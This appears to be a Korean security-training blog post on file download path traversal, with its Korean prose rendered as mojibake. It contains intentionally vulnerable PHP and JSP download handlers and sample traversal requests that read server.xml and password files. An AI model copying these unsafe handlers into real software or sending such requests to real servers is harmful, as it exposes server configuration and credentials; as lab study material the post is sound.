ํ์ผ ์ ๋ก๋ ์ทจ์ฝ์
- -
ํ์ผ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ์ด๋ ?
์ ์์ ์ธ ํ์ผ ๋ค์ด๋ก๋๊ฐ ์๋ ๋น์ ์์ ์ธ ํ์ผ์ ๋ค์ด๋ก๋ํ์ฌ ๊ณต๊ฒฉ
์ ์์ ์ธ ํ์ผ vs ๋น ์ ์์ ์ธ ํ์ผ
[๊ฒฝ๋ก] ์ฐจ์ด๊ฐ ์๋ค.
์ ์์ ์ธ ๊ฒฝ๋ก์์ ๋ค์ด๋ก๋๊ฐ ์๋ ์ง์ ๋ ๊ฒฝ๋ก๋ฅผ ๋ฒ์ด๋ ์์ ๋๋ ํฐ๋ฆฌ๋ก ์ด๋ํ์ฌ
์๋ฒ์ ๋์, ์ฝ๋, ์ค์ ๋ฑ์ ํ์ผ์ ์กฐํํ๊ฑฐ๋ ๋ค์ด ๋ฐ๋ ํ์
C:\Users\kitri\Downloads
ํ์ฌ ๊ฒฝ๋ก๋ฅผ ๊ธฐ์ค์ผ๋ก C๋๋ผ์ด๋ธ์ Users ๋๋ ํฐ๋ฆฌ๋ก ๊ฐ๊ณ ์ถ๋ค
cd ../../
cd C:\Users
ํ์ผ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ์ ํ ๋ ๊ฒฝ๋ก๋ฅผ ์ด๋ํ๋ ๋ฐฉ๋ฒ
1. ๊ฒฝ๋ก ์ด๋ ๋ฌธ์ ์ฝ์ (../)
2. ๊ฒฝ๋ก ๋ฌธ์ ์ฌ์ฉ ( ์ ๋ ๊ฒฝ๋ก )
htdocs ( ํ ๋๋ ํฐ๋ฆฌ )
- CSS
- JS
-Upload
-Download
ํ์ผ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ
download.jsp
downloadAction.jsp
downAction.jsp
sadfsdafl.co.kr/download.jsp?file=ํ์ผ๋ช
ํ์ผ๋ช ์ ๊ฒฝ์ฐ ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ด๋ค
๋๋ถ๋ถ์ ์ทจ์ฝ์ ์ ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ ๋ฐ๋๋ฐ์ ์ถ๋ฐํ๋ค.
์? ๋์ ์๋น์ค๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด ์ด์ฉ ์ ์์ด ์ ๋ ฅ ๊ฐ์ ๋ฐ์์ผ ํ๋ค
์น ์ฌ์ดํธ ๊ธฐ๋ฅ์๋ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ด 1๊ฐ ์ด์ ๋์ด ์์ผ๋ฉฐ
์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ ๋ฐ์ผ๋ฉด ์ง์ ๋ ๊ฒฝ๋ก์์ ์ง์ ๋ ํ์ผ์ ์ฌ์ฉ์์๊ฒ ์ค๋ค
ํ์ผ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ
๋ฐ๋์ ํ์ํ ์ค๋น๋ฌผ
์น ๋๋ ํฐ๋ฆฌ๊ฐ ๋ฐ๋์ ์กด์ฌํด์ผํ๋ฉฐ, ํ์ผ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ํ๋ ํ์ด์ง ํ์
์น ๋ธ๋ผ์ฐ์ ์์ ์ง์๋๋ ํ์ผ ํ์ ์ด ๋์ด๋จ์ ๋ฐ๋ผ URL ์ ๊ทผ ์ ํ์
ํ์ผ ์ ๋ก๋๋ฅผ ํ๋ฉด -> ์ ๋ก๋ ํด๋๊ฐ ์๋ ๊ฒฝ์ฐ ํ์ผ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ์ฐพ์ ๋ณผ ํ์๊ฐ ์๋ค
๋ฆฌ๋ ์ค๊ฐ ํ์ผ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ์ ์กฐ๊ธ ๋ ์ทจ์ฝํ๋ค
์๋์ฐ๋ ํํฐ์ ์ด ๋ค ๋๋์ด์ ธ ์์ผ๋ฏ๋ก ๋ค๋ฅธ ๋๋ผ์ด๋ธ๋ก ๋ณ๊ฒฝ ๋ถ๊ฐํจ
ํ์ผ ๋ค์ด๋ก๋ ๋ก์ง../../../๋ฅผ ๋ง์ด ํ๋ฉด ๋ฌด์กฐ๊ฑด ์ต์์ ํด๋์ธ C์ ๋๋ฌํ๊ฒ ๋๋ฏ๋ก ๊ทธ ๋ค์ ๋ด๊ฐ ์ํ๋ ํด๋ ์ฐ๋ฉด๋จ C๋๋ผ์ด๋ธ download_vuln ํด๋์์ password.txt ํ์ผ ์ฝ๊ธฐ
D๋๋ผ์ด๋ธ download_vuln ํด๋์์ password.txt ํ์ผ ์ฝ๊ธฐ
- ์ง์ ์ ์ธ ๋ฐฉ์
www.kitri.re.kr/kitri/file/download.web?dir=/uploadfile/&filename=kitri_logo_Ko_En.jpg&siteDib=kitri
- ๊ฐ์ ์ ์ธ ๋ฐฉ์
๋ฐใ ฃํฐ ๋ฒ ์ด์ค๋ฅผ ํ์ฉํ์ฌ ํ์ผ ๋ค์ด๋ก๋
www.kitri.re.kr/dowload.web?idx=1
# index.php
<?php
header("Content-type : text/html; charset=UTF-8");
?>
<li>์ฒจ๋ถํ์ผ : <a href="./download.php?filename=test.jpg">[๋ค์ด๋ก๋]</a>
# download.php
<?php
$filename = $_GET["filename"];
$filepath = "upload/{$filename}";
header("Content-Type: application/octet.stream");
header("Conetnt-Dispositionl: attachement; filename={$filename}");
readfile($filepath);
?>
Original Filename & Real Filename
<%@ page contentType="text/html; charset=UTF-8" %>
<li>๋ค์ด๋ก๋1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋1]</a></li>
<li>๋ค์ด๋ก๋2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋2]</a></li>
<li>๋ค์ด๋ก๋3 : <a href="download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋3]</a></li>
# download.php
<?php
$org_filename = $_GET["org_filename"];
$real_filename = $_GET["real_filename"];
$filepath = "upload/{$org_filename}";
header("Content-Type: application/octet.stream");
header("Conetnt-Dispositionl: attachment; filename={$real_filename}");
readfile($filepath);
?>
# jsp original filename , real filename
# original filename = ๋ค์ด ๋ฐ์ ๋ ๋จ๋ ํ์ผ ์ด๋ฆ
# real filename = ์๋ ์๋ณธ ํ์ผ ์ด๋ฆ
<%@ page contentType="text/html; charset=UTF-8" %>
<li>๋ค์ด๋ก๋1 : <a href="download1.jsp?org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋1]</a></li>
<li>๋ค์ด๋ก๋2 : <a href="download2.jsp?path=image&org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋2]</a></li>
<li>๋ค์ด๋ก๋3 : <a href="download3.jsp?path=C:\apache-tomcat-8.5.81\webapps\ROOT\upload\image&org_filename=test.jpg&real_filename=abcd.jpg">[๋ค์ด๋ก๋3]</a></li>
# original filename๊ณผ real filename์ผ๋ก
# download1.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
FileInputStream fis = null; // byte ํํ๋ก ํ์ผ ๋ณต์ฌ(input) & ๋ถ์ฌ๋ฃ๊ธฐ(output)
BufferedInputStream bis = null; // buffer์ ์ ์ฅ์์ผ์ 1 byte ์ฉ ์ฌ์ฉ ๊ฐ์ ธ์ค๊ธฐ
BufferedOutputStream bos = null; // buffer์ ์ ์ฅ์์ผ์ 1 byte ์ฉ ์ฌ์ฉ ๋ณด๋ด๊ธฐ
String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\image\\";
String org_filename = request.getParameter("org_filename");
String real_filename = request.getParameter("real_filename");
if(org_filename == null || real_filename == null){
out.println("<script>alert('ํ์ผ๋ช
์ด ์
๋ ฅ๋์ง ์์์ต๋๋ค.');histroy.back(-1);</script>");
return;
}
try{
File fd = new File(path + real_filename); // real_filename๊ณผ ์ฃผ์๋ฅผ fd์ ์ ์ฅ
if(!fd.exists()){
out.println("<script>alert('ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค.');history.back(-1);</script>");
}
response.setHeader("Content-Type", "application/octect-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);
fis = new FileInputStream(fd);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buffer = new byte[1024];
int i = 0;
while((i=(bis.read(buffer))) != -1){ // buffer๊ฐ ํ
๋น๋๊น์ง ๋ฐ๋ณต
bos.write(buffer,0,i);
}
bos.flush();
}finally{
if(fis != null) fis.close();
if(bis != null) bis.close();
if(bos != null) bos.close();
}
%>
# file path๊ฐ ์ผ๋ถ๋ง ๋
ธ์ถ
# download2.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
FileInputStream fis = null;
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
String path_temp = request.getParameter("path");
String org_filename = request.getParameter("org_filename");
String real_filename = request.getParameter("real_filename");
String path ="C:\\apache-tomcat-8.5.81\\webapps\\ROOT\\upload\\" + path_temp + "\\";
if(org_filename == null || real_filename == null){
out.println("<script>alert('ํ์ผ๋ช
์ด ์
๋ ฅ๋์ง ์์์ต๋๋ค.');histroy.back(-1);</script>");
return;
}
try{
File fd = new File(path + real_filename);
if(!fd.exists()){
out.println("<script>alert('ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค.');history.back(-1);</script>");
}
response.setHeader("Content-Type", "application/octect-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);
fis = new FileInputStream(fd);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buffer = new byte[1024];
int i = 0;
while((i=(bis.read(buffer))) != -1){
bos.write(buffer,0,i);
}
bos.flush();
}finally{
if(fis != null) fis.close();
if(bis != null) bis.close();
if(bos != null) bos.close();
}
%>
# ๋ชจ๋ file path๊ฐ ๋
ธ์ถ
# download3.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ page import="java.util.*, java.io.*"%>
<%
FileInputStream fis = null;
BufferedInputStream bis = null;
BufferedOutputStream bos = null;
String path = request.getParameter("path");
String org_filename = request.getParameter("org_filename");
String real_filename = request.getParameter("real_filename");
if(org_filename == null || real_filename == null){
out.println("<script>alert('ํ์ผ๋ช
์ด ์
๋ ฅ๋์ง ์์์ต๋๋ค.');histroy.back(-1);</script>");
return;
}
try{
File fd = new File(path + real_filename);
if(!fd.exists()){
out.println("<script>alert('ํ์ผ์ด ์กด์ฌํ์ง ์์ต๋๋ค.');history.back(-1);</script>");
}
response.setHeader("Content-Type", "application/octect-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + org_filename);
fis = new FileInputStream(fd);
bis = new BufferedInputStream(fis);
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buffer = new byte[1024];
int i = 0;
while((i=(bis.read(buffer))) != -1){
bos.write(buffer,0,i);
}
bos.flush();
}finally{
if(fis != null) fis.close();
if(bis != null) bis.close();
if(bos != null) bos.close();
}
%>
Original Filename : ๋ด๊ฐ ๋ค์ด ๋ฐ๊ฑฐ๋ ์ ๋ก๋ ํ ๋ ํ์ผ ์ด๋ฆ
Real Filename : ์น ์๋ฒ์ ์ ์ฅ๋์ด ์๋ ํ์ผ ์ด๋ฆ
๊ณต๊ฒฉ ๋ฐฉ๋ฒ
CASE 1 ์ฌ์ฉ์๋ก ์ ๋ ฅ๋ฐ๋๊ฒ์ด ํ์ผ๋ช ๋ง ์กด์ฌํ ๋
์ ์ ์์ฒญ : /download1.jsp?filename=abcd.jpg
๊ณต๊ฒฉ ์์ฒญ : /download1.jsp?filename=../../../../conf/server.xml
CASE 2 ์ฌ์ฉ์๋ก ์ ๋ ฅ ๋ฐ๋ ๊ฒ์ด ์ผ๋ถ ๊ฒฝ๋ก์ ํ์ผ๋ช ๋ง ์กด์ฌํ ๋
์ ์ ์์ฒญ : /download2.jsp?path=image&filename=abcd.jpg
๊ณต๊ฒฉ ์์ฒญ1 : /download2.jsp?path=../../../conf&filename=server.xml
๊ณต๊ฒฉ ์์ฒญ2 : /download2.jsp?path=../../../conf/server.xml&filename=
๊ณต๊ฒฉ ์์ฒญ3 : /download2.jsp?path=image&filename=../../../../conf/server.xml
CASE 3 ์ฌ์ฉ์๋ก ์ ๋ ฅ๋ฐ๋ ๊ฒ์ด ์ ๋ ๊ฒฝ๋ก์ผ ๋
์ ์ ์์ฒญ : /download3.jsp?path=C:/apache-tomcat-8.5.81/webapps/ROOT/upload/image/&org_filename=test.jpg&real_filename=abcd.jpg
๊ณต๊ฒฉ ์์ฒญ1 : /download3.jsp?path=C:/apache-tomcat-8.5.81/conf/&org_filename=test.xml&real_filename=server.xml
linux
cd /etc/networks (o)
cd \etc\networks (x)
windows
cd C:\windows\system32 (o)
cd C:/windows/system32 (o)
'๐ Secure' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
file download ์ฌํ ๊ณต๊ฒฉ (0) | 2022.07.19 |
---|---|
ํ์ผ ๋ค์ด๋ก๋ ๊ณต๊ฒฉ์ ์ํ ํ๋ก์ธ์ค (0) | 2022.07.18 |
XSS ๊ณต๊ฒฉ - ์ธ์ ๊ฐ , ํค ๋ก๊น (0) | 2022.07.14 |
SESSION High jacking (0) | 2022.07.14 |
XSS ์ฐํ ๊ณต๊ฒฉ (0) | 2022.07.14 |
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค